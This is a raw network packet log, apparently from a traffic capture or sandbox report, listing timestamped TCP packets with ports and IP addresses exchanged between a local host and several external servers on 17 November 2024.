Nov 17, 2024 22:20:47.023864031 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.023889065 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.023894072 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.023912907 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.023926020 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.024019003 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.024060011 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.024065018 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.024075985 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.024113894 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.024444103 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.024477959 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.024491072 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.024492025 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.024516106 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.024527073 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.024856091 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.024878979 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.024889946 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.024899006 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.024918079 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.024940968 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.047204971 CET	443	60848	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.047238111 CET	443	60848	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.047298908 CET	443	60848	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.047328949 CET	60848	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.047451019 CET	60848	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.047970057 CET	60848	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.047992945 CET	443	60848	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.048018932 CET	60848	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.048027039 CET	443	60848	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.051928043 CET	60854	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.052056074 CET	443	60854	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.052160978 CET	60854	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.052432060 CET	60854	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.052460909 CET	443	60854	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.058259010 CET	443	60846	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.058310032 CET	443	60846	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.058382988 CET	443	60846	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.058440924 CET	60846	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.058501005 CET	60846	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.058521986 CET	443	60846	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.058537960 CET	60846	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.058546066 CET	443	60846	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.059184074 CET	443	60849	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.059252977 CET	443	60849	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.059305906 CET	60849	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.059598923 CET	60849	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.059598923 CET	60849	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.059616089 CET	443	60849	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.059626102 CET	443	60849	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.064014912 CET	60855	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.064048052 CET	443	60855	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.064131021 CET	60855	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.064395905 CET	60855	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.064412117 CET	443	60855	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.065289974 CET	60856	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.065340996 CET	443	60856	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.065433979 CET	60856	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.065584898 CET	60856	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.065597057 CET	443	60856	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.068381071 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.068397045 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.068423986 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.068437099 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.068464041 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.068525076 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.068618059 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.068646908 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.068685055 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.068705082 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.068720102 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.068758011 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.078191996 CET	443	60847	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.078432083 CET	443	60847	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.078511953 CET	60847	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.079188108 CET	60847	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.079212904 CET	443	60847	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.083389997 CET	60857	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.083414078 CET	443	60857	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.083520889 CET	60857	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.083693027 CET	60857	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.083702087 CET	443	60857	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.119914055 CET	443	60851	152.195.19.97	192.168.2.7
Nov 17, 2024 22:20:47.120255947 CET	60851	443	192.168.2.7	152.195.19.97
Nov 17, 2024 22:20:47.120275021 CET	443	60851	152.195.19.97	192.168.2.7
Nov 17, 2024 22:20:47.122296095 CET	443	60851	152.195.19.97	192.168.2.7
Nov 17, 2024 22:20:47.122843027 CET	60851	443	192.168.2.7	152.195.19.97
Nov 17, 2024 22:20:47.123534918 CET	60851	443	192.168.2.7	152.195.19.97
Nov 17, 2024 22:20:47.123651028 CET	443	60851	152.195.19.97	192.168.2.7
Nov 17, 2024 22:20:47.128931999 CET	60851	443	192.168.2.7	152.195.19.97
Nov 17, 2024 22:20:47.128942966 CET	443	60851	152.195.19.97	192.168.2.7
Nov 17, 2024 22:20:47.139878988 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.139910936 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.139956951 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.139971972 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.140000105 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.140017986 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.140166998 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.140197039 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.140228033 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.140259027 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.140366077 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.140394926 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.140439987 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.140482903 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.140538931 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.140542984 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.140589952 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.140641928 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.140695095 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.140695095 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.140729904 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.140738964 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.140772104 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.141108990 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.141171932 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.141180992 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.141215086 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.141223907 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.141251087 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.141297102 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.141307116 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.141470909 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.182915926 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.182952881 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.183006048 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.183043957 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.183077097 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.183079958 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.183345079 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.215501070 CET	60851	443	192.168.2.7	152.195.19.97
Nov 17, 2024 22:20:47.257381916 CET	443	60851	152.195.19.97	192.168.2.7
Nov 17, 2024 22:20:47.258749008 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.258765936 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.258783102 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.258810043 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.258812904 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.258810997 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.258831978 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.258848906 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.258872032 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.258907080 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.259008884 CET	443	60851	152.195.19.97	192.168.2.7
Nov 17, 2024 22:20:47.259016991 CET	443	60851	152.195.19.97	192.168.2.7
Nov 17, 2024 22:20:47.259052992 CET	443	60851	152.195.19.97	192.168.2.7
Nov 17, 2024 22:20:47.259057999 CET	60851	443	192.168.2.7	152.195.19.97
Nov 17, 2024 22:20:47.259073019 CET	443	60851	152.195.19.97	192.168.2.7
Nov 17, 2024 22:20:47.259094000 CET	443	60851	152.195.19.97	192.168.2.7
Nov 17, 2024 22:20:47.259105921 CET	443	60851	152.195.19.97	192.168.2.7
Nov 17, 2024 22:20:47.259111881 CET	60851	443	192.168.2.7	152.195.19.97
Nov 17, 2024 22:20:47.259111881 CET	60851	443	192.168.2.7	152.195.19.97
Nov 17, 2024 22:20:47.259116888 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.259131908 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.259169102 CET	60851	443	192.168.2.7	152.195.19.97
Nov 17, 2024 22:20:47.259171009 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.259183884 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.259238958 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.259254932 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.259268999 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.259289026 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.259325027 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.259799957 CET	60851	443	192.168.2.7	152.195.19.97
Nov 17, 2024 22:20:47.259814024 CET	443	60851	152.195.19.97	192.168.2.7
Nov 17, 2024 22:20:47.260390043 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.260422945 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.260468960 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.260484934 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.260504961 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.260744095 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.292002916 CET	443	60852	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.292556047 CET	60852	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.292648077 CET	443	60852	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.293107986 CET	60852	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.293123007 CET	443	60852	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.299626112 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.299659014 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.299685001 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.299700022 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.299710035 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.299732924 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.299767017 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.299781084 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.299813986 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.336608887 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.336668968 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.336700916 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.336738110 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.336762905 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.336813927 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.373517036 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.373605013 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.373636961 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.373640060 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.373656034 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.373676062 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.373683929 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.373723030 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.373828888 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.373864889 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.373899937 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.373909950 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.374048948 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.374180079 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.374228954 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.374233007 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.374283075 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.374454021 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.374491930 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.374514103 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.374538898 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.374545097 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.374588013 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.374676943 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.374716043 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.374722958 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.374753952 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.374758959 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.374797106 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.399717093 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:47.399749994 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:47.399818897 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:47.399983883 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:47.400042057 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:47.400101900 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:47.400166035 CET	60858	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:47.400180101 CET	443	60858	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:47.400310040 CET	60859	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:47.400330067 CET	443	60859	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:47.416109085 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.416141033 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.416197062 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.416269064 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.416305065 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.416317940 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.416342974 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.416372061 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.416383982 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.416392088 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.416498899 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.421859980 CET	443	60852	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.421888113 CET	443	60852	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.421936035 CET	443	60852	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.421962976 CET	60852	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.421996117 CET	60852	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.422508955 CET	60852	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.422508955 CET	60852	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.422545910 CET	443	60852	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.422569990 CET	443	60852	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.425693989 CET	60860	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.425728083 CET	443	60860	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.425968885 CET	60860	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.426748991 CET	60860	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:47.426760912 CET	443	60860	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:47.457036018 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.457098007 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.457129955 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.457173109 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.457211018 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.457235098 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.488903999 CET	443	60853	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.490386963 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.490442038 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.490475893 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.490477085 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.490524054 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.490714073 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.490748882 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.490767956 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.490770102 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.490801096 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.490833998 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.490849972 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.490868092 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.490878105 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.490905046 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.490947008 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.491087914 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.491225004 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.491236925 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.491281986 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.491287947 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.491444111 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.491580009 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.491615057 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.491651058 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.491652966 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.491676092 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.491684914 CET	60853	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.491688013 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.491693020 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.491715908 CET	443	60853	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.491729975 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.492141962 CET	443	60853	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.517105103 CET	60853	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.517292976 CET	443	60853	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.517345905 CET	60853	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.517417908 CET	60853	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.517433882 CET	443	60853	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.533027887 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.533051014 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.533068895 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.533092022 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.533128023 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.545033932 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.545093060 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.545125961 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.545160055 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.545190096 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.545295954 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.576003075 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.576037884 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.576055050 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.576067924 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.576092005 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.577500105 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.577531099 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.577580929 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.577591896 CET	443	60841	65.52.241.40	192.168.2.7
Nov 17, 2024 22:20:47.577665091 CET	60841	443	192.168.2.7	65.52.241.40
Nov 17, 2024 22:20:47.607884884 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.607902050 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.607917070 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.607979059 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.608011961 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.608392954 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.608407974 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.608423948 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.608468056 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.608494043 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.608675003 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.608690023 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.608705044 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.608712912 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.608730078 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.608823061 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:47.609038115 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.609054089 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.609154940 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:47.609170914 CET	80	60797	185.215.113.206	192.168.2.7
